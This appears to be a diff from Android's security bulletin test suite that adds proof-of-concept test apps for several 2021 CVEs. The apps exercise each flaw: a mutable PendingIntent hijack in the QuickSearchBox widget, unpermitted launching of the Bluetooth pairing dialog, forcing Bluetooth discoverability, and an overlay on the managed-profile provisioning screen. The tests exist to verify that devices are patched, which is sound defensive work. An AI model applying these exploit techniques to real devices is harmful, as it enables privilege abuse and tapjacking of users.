+ spuriousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ mPendingIntent.send(getApplicationContext(), 0, spuriousIntent, null, null);
+ } catch (PendingIntent.CanceledException e) {
+ // this is expected when vulnerability is not present and hence return
+ sendTestResult(getResources().getInteger(R.integer.pass), "Pass");
+ return;
+ }
+ sendTestResult(getResources().getInteger(R.integer.fail),
+ "Device is vulnerable to b/184046278!!"
+ + " Mutable PendingIntent in QuickSearchBox widget");
+ }
+
+ private IBinder getService(String service) {
+ try {
+ Class clServiceManager = Class.forName("android.os.ServiceManager");
+ Method mtGetService = clServiceManager.getMethod("getService", String.class);
+ return (IBinder) mtGetService.invoke(null, service);
+ } catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException
+ | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Failed to invoke android.os.ServiceManager service");
+ return null;
+ }
+ }
+
+ private RemoteViews callBinder(String callingPackage, int appWidgetId) {
+ String INTERFACE_DESCRIPTOR = "com.android.internal.appwidget.IAppWidgetService";
+ int GET_APP_WIDGET_VIEWS = 7;
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ RemoteViews remoteViews = null;
+ IBinder service = getService("appwidget");
+ if (service != null) {
+ data.writeInterfaceToken(INTERFACE_DESCRIPTOR);
+ data.writeString(callingPackage);
+ data.writeInt(appWidgetId);
+ try {
+ service.transact(GET_APP_WIDGET_VIEWS, data, reply, 0);
+ } catch (RemoteException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "service.transact() failed due to RemoteException");
+ return null;
+ }
+ reply.readException();
+ if (reply.readInt() != 0) {
+ remoteViews = (RemoteViews) RemoteViews.CREATOR.createFromParcel(reply);
+ }
+ }
+ return remoteViews;
+ }
+
+ private void sendTestResult(int statusCode, String errorMessage) {
+ RemoteCallback cb =
+ (RemoteCallback) getIntent().getExtras().get(getString(R.string.callback_key));
+ Bundle res = new Bundle();
+ res.putString(getString(R.string.message_key), errorMessage);
+ res.putInt(getString(R.string.status_key), statusCode);
+ finish();
+ cb.sendResult(res); // update callback in test
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
new file mode 100644
index 0000000..b99ba9d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocVulnerableActivity.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class PocVulnerableActivity extends Activity {
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.vulnerable_activity_main);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
index b40e56e..ee33256 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/Android.bp
@@ -37,5 +37,5 @@
"androidx.test.rules",
"androidx.test.uiautomator_uiautomator",
],
- sdk_version: "current",
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
index e709d0a..46f1613 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -18,9 +18,20 @@
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.UiAutomation;
import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.UserHandle;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import androidx.test.uiautomator.UiDevice;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,23 +45,64 @@
try {
device.wakeUp();
} catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
}
device.pressHome();
}
+ private String getSettingsPkgName() {
+ PackageManager mgr = getInstrumentation().getTargetContext().getPackageManager();
+ UiAutomation ui = getInstrumentation().getUiAutomation();
+ String name = "com.android.settings";
+ try {
+ ui.adoptShellPermissionIdentity(android.Manifest.permission.INTERACT_ACROSS_USERS);
+ ResolveInfo info = mgr.resolveActivityAsUser(new Intent(Settings.ACTION_SETTINGS),
+ PackageManager.MATCH_SYSTEM_ONLY, UserHandle.USER_SYSTEM);
+ if (info != null && info.activityInfo != null) {
+ name = info.activityInfo.packageName;
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ assumeNoException(e);
+ } finally {
+ ui.dropShellPermissionIdentity();
+ }
+ return name;
+ }
+
+ private boolean hasFeature(String feature) {
+ return InstrumentationRegistry.getContext().getPackageManager().hasSystemFeature(feature);
+ }
+
+ private boolean isTV() {
+ return hasFeature(PackageManager.FEATURE_LEANBACK);
+ }
+
@Test
public void testPermission() {
+ String pkg = getSettingsPkgName();
+ String cls = "";
+ if (isTV()) {
+ cls = ".accessories.BluetoothPairingDialog";
+ } else {
+ cls = ".bluetooth.BluetoothPairingDialog";
+ }
+
try {
Intent intent = new Intent(Intent.ACTION_MAIN);
- intent.setClassName("com.android.settings",
- "com.android.settings.bluetooth.BluetoothPairingDialog");
+ intent.setClassName(pkg, pkg + cls);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplicationContext().startActivity(intent);
- } catch (SecurityException e) {
- return;
+ } catch (Exception ex) {
+ ex.printStackTrace();
+ if (ex instanceof SecurityException) {
+ return;
+ }
+ assumeNoException(ex);
}
/* If SecurityException is not thrown, it indicates absence of fix */
- throw new RuntimeException("Vulnerable to b/194300867 !!");
+ fail("Vulnerable to b/194300867 !!");
}
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
index bcbf54f..d3e2302 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,21 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39626",
+ defaults: [
+ "cts_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
new file mode 100644
index 0000000..f097825
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39626"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.BLUETOOTH"/>
+ <uses-permission android:name="android.permission.BLUETOOTH_CONNECT"/>
+ <uses-permission android:name="android.permission.BLUETOOTH_SCAN"/>
+ <application
+ android:testOnly="true"
+ android:label="CVE-2021-39626"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39626" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
new file mode 100644
index 0000000..cd24540
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/DeviceTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final int TIMEOUT = 5000;
+ private static Context context;
+
+ private static String getSettingsPkgName() {
+ Intent settingsIntent = new Intent(Settings.ACTION_SETTINGS);
+ ComponentName settingsComponent =
+ settingsIntent.resolveActivity(context.getPackageManager());
+ String pkgName = settingsComponent != null ? settingsComponent.getPackageName()
+ : "com.android.settings";
+ assumeNotNull(pkgName);
+ return pkgName;
+ }
+
+ private void openApplication(String applicationName) {
+ Intent intent = context.getPackageManager().getLaunchIntentForPackage(applicationName);
+ assumeNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @Test
+ public void testBtDiscoverable() {
+ // Initialize UiDevice instance
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ context = InstrumentationRegistry.getInstrumentation().getContext();
+ BluetoothAdapter btAdapter = BluetoothAdapter.getDefaultAdapter();
+ assumeNotNull(btAdapter);
+
+ // Save the state of bluetooth adapter to reset after the test
+ boolean btState = btAdapter.isEnabled();
+ if (!btState) {
+ // If bluetooth is disabled, enable it and wait for adapter startup to complete
+ assumeTrue(btAdapter.enable());
+ try {
+ Thread.sleep(TIMEOUT);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+ assumeTrue(btAdapter.isEnabled());
+
+ // Launch the PoC application and ensure that it launches bluetooth settings
+ openApplication(context.getPackageName());
+ assumeTrue(device.wait(Until.hasObject(By.pkg(getSettingsPkgName())), TIMEOUT));
+
+ boolean isBtDiscoverable =
+ (btAdapter.getScanMode() == btAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE);
+
+ // Disable bluetooth if it was OFF before the test
+ if (!btState) {
+ btAdapter.disable();
+ }
+
+ // The test fails if bluetooth is made discoverable through PoC
+ assertFalse("Vulnerable to b/194695497 !!", isBtDiscoverable);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
new file mode 100644
index 0000000..d4425ff
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39626/src/android/security/cts/CVE_2021_39626/PocActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39626;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.provider.Settings;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent();
+ intent.setAction(Settings.ACTION_BLUETOOTH_SETTINGS);
+ try {
+ startActivity(intent);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
index bcbf54f..602c426 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,17 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-39692",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
new file mode 100644
index 0000000..459d992
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/AndroidManifest.xml
@@ -0,0 +1,58 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_39692">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:testOnly="false"
+ android:allowBackup="true"
+ android:label="CVE-2021-39692">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name=".PocActivity"
+ android:enabled="true"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <service android:name=".PocService"
+ android:enabled="true"
+ android:exported="false" />
+
+ <receiver android:name=".PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_receiver"/>
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ <action android:name="android.intent.action.BOOT_COMPLETED" />
+ <action android:name="android.app.action.PROFILE_OWNER_CHANGED" />
+ <action android:name="android.app.action.DEVICE_OWNER_CHANGED" />
+ </intent-filter>
+ </receiver>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_39692" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
new file mode 100644
index 0000000..cf041ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="activityNotStartedException">Unable to start the %1$s</string>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/209611539 hence any app with
+ "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="testPkg">android.security.cts.CVE_2021_39692</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
new file mode 100644
index 0000000..af74d3b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/res/xml/device_admin_receiver.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<device-admin>
+ <support-transfer-ownership/>
+ <uses-policies>
+ <limit-password/>
+ <watch-login/>
+ <reset-password/>
+ <force-lock/>
+ <wipe-data/>
+ <expire-password/>
+ <encrypted-storage/>
+ <disable-camera/>
+ <disable-keyguard-features/>
+ </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
new file mode 100644
index 0000000..e2f6196
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/DeviceTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "overlay service"), e);
+ }
+ }
+
+ private void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ Intent intent = new Intent(context, PocActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "PocActivity"), e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Context context = getApplicationContext();
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ final int launchTimeoutMs = 20000;
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = false;
+ if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+ launchTimeoutMs)) {
+ overlayDisallowed = true;
+ }
+
+ Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+ intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ new ComponentName(context, PocDeviceAdminReceiver.class));
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+ String testVulnerableActivity = ri.activityInfo.name;
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(
+ context.getString(R.string.dumpsysActivityCmd, testVulnerableActivity));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerableActivity),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerableActivity),
+ overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
new file mode 100644
index 0000000..89a7d93
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
+import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.ActivityNotFoundException;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Intent intent = new Intent(ACTION_PROVISION_MANAGED_PROFILE);
+ intent.putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+ new ComponentName(getApplicationContext(), PocDeviceAdminReceiver.class));
+ PackageManager pm = getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(getString(R.string.activityNotFoundMsg, intent), ri != null);
+ try {
+ startActivityForResult(intent, 1);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(getString(R.string.activityNotFoundMsg, intent), e);
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ if (resultCode == Activity.RESULT_OK) {
+ this.setResult(Activity.RESULT_OK);
+ this.finish();
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
new file mode 100644
index 0000000..455aa03
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-39692/src/android/security/cts/CVE_2021_39692/PocDeviceAdminReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_39692;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+public class PocDeviceAdminReceiver extends DeviceAdminReceiver {
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ super.onReceive(context, intent);
+ }
+}
